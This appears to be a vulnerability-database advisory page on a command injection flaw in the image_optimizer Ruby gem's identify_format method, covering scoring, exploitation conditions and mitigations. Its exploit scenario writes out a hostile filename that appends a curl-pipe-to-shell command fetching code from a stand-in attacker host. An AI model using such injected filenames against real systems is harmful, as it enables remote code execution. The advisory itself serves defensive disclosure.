Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessUpload file with crafted name
-
DeliveryPath reaches identify_format
-
ExploitShell metacharacters injected into backticks
-
ExecutionArbitrary command runs as Ruby process
-
ImpactHost compromise / data exfiltration
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires BOTH: (1) the consuming application must invoke image_optimizer with the 'identify' option enabled so that ImageOptimizer#identify_format runs, and (2) the attacker must control the image path argument - typically via an attacker-chosen uploaded file name - so that appended shell metacharacters (e.g., ';') are passed into Ruby backtick execution in shell.rb. Executed commands run with the Ruby process's privileges. Limiting factors: if the 'identify' option is not enabled (a non-default pathway) or if image paths are server-generated/sanitized rather than user-controlled, the vulnerability is not reachable; impact is bounded by the OS privileges of the Ruby/web worker process. |
| Impact | This is a genuine high-priority issue, not merely a high-CVSS number. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) describes an unauthenticated, network-reachable, low-complexity flaw with full high impact to confidentiality, integrity and availability (VC:H/VI:H/VA:H), consistent with CWE-78 OS command injection that yields arbitrary command execution at the Ruby process's privilege level. A public gist (R3tro16) tied to the CVE indicates proof-of-concept exploit code likely exists, raising practical exploitability. However, several signals are missing or must be qualified: there is NO CISA KEV listing (no confirmed active exploitation), and NO EPSS score was provided, so widespread-exploitation probability cannot be quantified from this data. The CVSS AV:N/PR:N rating is optimistic for a library flaw - real exploitability is gated by two deployment conditions the score does not capture: the application must enable the 'identify' option, and the attacker must control the image path (e.g., an uploaded file name). Where both hold, treat this as critical; where 'identify' is disabled or paths are not attacker-controlled, residual risk is much lower. Net: a credible, likely PoC-backed RCE in a Ruby gem, but exploitation is conditional on application configuration rather than being universally triggerable. |
| Exploit ScenarioDerived | A Rails/Ruby application uses image_optimizer with the 'identify' option enabled and passes a user-influenced path (such as an uploaded file's name) into ImageOptimizer#identify_format. An attacker uploads or supplies a filename containing shell metacharacters (e.g., 'photo.jpg; curl attacker/x | sh'), which Ruby executes via backticks, running arbitrary OS commands with the web process's privileges. A public gist appears to demonstrate this technique, lowering the barrier to weaponization. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 08, 2026
OS command injection in the image_optimizer Ruby gem versions 1.3.0 through 1.9.0 allows unauthenticated remote attackers to execute arbitrary shell commands with the privileges of the Ruby process by supplying an image path containing shell metacharacters such as ';'. The flaw is reachable only when the consuming application enables the 'identify' option (so that ImageOptimizer#identify_format runs) and the attacker controls the image path argument, typically through an attacker-chosen uploaded file name, which means real-world impact is bounded by the OS privileges of the Ruby/web worker process and by whether user-controlled filenames reach the gem. The CVSS 4.0 base score of 9.3 reflects high confidentiality, integrity and availability impact, and no public exploit identified at time of analysis; the included gist and VulnCheck advisory serve as the primary public technical disclosures.
RemediationAI
No vendor-released patch identified at time of analysis, so mitigation must be applied at the application and deployment layers while tracking the upstream repository (https://github.com/jtescher/image_optimizer) and the VulnCheck advisory (https://www.vulncheck.com/advisories/image-optimizer-1.3.0-through-1.9.0-os-command-injection-via-identify-format) for a fixed release; if a patched gem version is published, upgrade to it and re-run bundle update to confirm the resolved version. The most direct compensating control is to disable the 'identify' option in the image_optimizer configuration so that ImageOptimizer#identify_format is never invoked - the trade-off is the loss of automatic format detection, which may break pipelines that rely on format sniffing, so affected workflows must be reworked to determine format by other means (for example, Ruby's built-in image header parsing or a subprocess invoked with an argument array rather than a shell string). Additionally, never pass user-derived filenames into the gem: rename uploads to server-generated identifiers (UUIDs, hex tempfile names) before processing, and strictly validate or whitelist any path that must be user-influenced, rejecting shell metacharacters such as ';', '|', '&', backticks and '$(' - the trade-off is that original filenames may need to be stored separately as metadata rather than used on disk. At the code level, replacing backtick/string interpolation with exec/Open3.capture3 using an argument array eliminates shell interpretation entirely; this is the correct upstream fix and can be applied locally as a monkey patch or vendored fork, though it must be re-applied on every gem update. Finally, run the Ruby/web worker as an unprivileged, containerized user with a minimal filesystem and no unnecessary outbound network access, which does not prevent exploitation but bounds the blast radius to the privileges and reach of that process.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a classic OS command injection (CWE-78) in a Ruby library that shells out to external image tooling. image_optimizer wraps ImageMagick/optipng-style binaries, and ImageOptimizer#identify_format (lib/image_optimizer.rb, around lines 37-47 in v1.9.0) builds a command string that embeds the caller-supplied image path and then executes it through Ruby backticks in lib/image_optimizer/shell.rb (lines 30-32). Because backticks invoke a shell (/bin/sh), any metacharacters present in the path string - ';', '|', '&&', backticks, or $() - are interpreted by the shell rather than treated as literal filename characters, so an attacker who influences the path can append and execute arbitrary commands. The CPE cpe:2.3:a:jtescher:image_optimizer:*:*:*:*:*:*:*:* identifies the affected package as the jtescher image_optimizer gem with a wildcard version, consistent with the reported range of 1.3.0 through 1.9.0; the CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N confirms a remotely reachable, unauthenticated, no-user-interaction attack when the vulnerable code path is exposed, and the independent assessment (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) agrees on network reachability and unauthenticated exploitation but emphasizes that the 'identify' option must be enabled and the path must be attacker-influenced for the injection to fire.
Know when Ruby gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attacker-controlled upload path reaches backtick execution for unauthenticated RCE (AV:N/PR:N/UI:N), full host impact; scope unchanged as code runs within the Ruby process's own authority.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
The image_optimizer Ruby gem 1.3.0 through 1.9.0 contains an OS command injection vulnerability in ImageOptimizer#identify_format that allows attackers to execute commands by supplying a crafted image path when the identify option is enabled. Attackers controlling the path, such as an uploaded file name, can append shell metacharacters like ';' that are executed via Ruby backticks with the Ruby process privileges.
Executive ViewAI
image_optimizer, a Ruby gem embedded in many Rails and other Ruby applications that handle uploaded images, contains a critical OS command injection flaw in versions 1.3.0 through 1.9.0 that can allow an attacker to execute arbitrary system commands on the host running the application. Because the vulnerable code path is reachable through user-supplied image filenames whenever an application has enabled the gem's image-identification option, any customer-facing upload feature built on an affected version exposes the web server's operating system privileges to an external party. With no vendor-released patch available, leadership should treat every internet-facing Ruby service using this gem as an unpatched remote code execution exposure until the affected code path is disabled or the dependency is removed.
No vendor-released patch identified at time of analysis. Interim mitigations: disable the 'identify' option so ImageOptimizer#identify_format is not called; never pass user-controlled filenames as image paths (use server-generated names with extensions re-derived from validated content type); strip or reject shell metacharacters in filename inputs; run Ruby/web workers as a least-privilege non-root user inside a constrained container or sandbox with restricted outbound and shell access; restrict upload processing to isolated hosts segmentable from sensitive data stores; and monitor process execution on image-handling workers for unexpected shell or child-process activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Ruby before 2.4.3 allows Net::FTP command injection. Rated high severity (CVSS 8.8), this vulnerability is remotely expl
The lazy_initialize function in lib/resolv.rb in Ruby through 2.4.3 uses Kernel#open, which might allow Command Injectio
Ruby through 2.2.7, 2.3.x through 2.3.4, and 2.4.x through 2.4.1 can expose arbitrary memory during a JSON.generate call
Type confusion exists in two methods of Ruby's WIN32OLE class, ole_invoke and ole_query_interface. Rated critical severi
Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in
Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Rated critical severity (CVSS 9.8), this vulnerabilit
An exploitable heap overflow vulnerability exists in the Fiddle::Function.new "initialize" function functionality of Rub
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7
Stored XSS in Bugsink error tracking tool before 2.0.13 allows unauthenticated attackers to inject persistent scripts th
Ruby before 2.4.2, 2.3.5, and 2.2.8 is vulnerable to a malicious format string which contains a precious specifier (*) w
Heap-based buffer overflow in Ruby 1.8, 1.9 before 1.9.3-p484, 2.0 before 2.0.0-p353, 2.1 before 2.1.0 preview2, and tru
Heap-use-after-free in the Ruby json gem's native C extension (versions 2.20.0 through 2.21.1) allows an unauthenticated
EUVD-2026-95149
GHSA-q8q6-2f24-vxv8
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB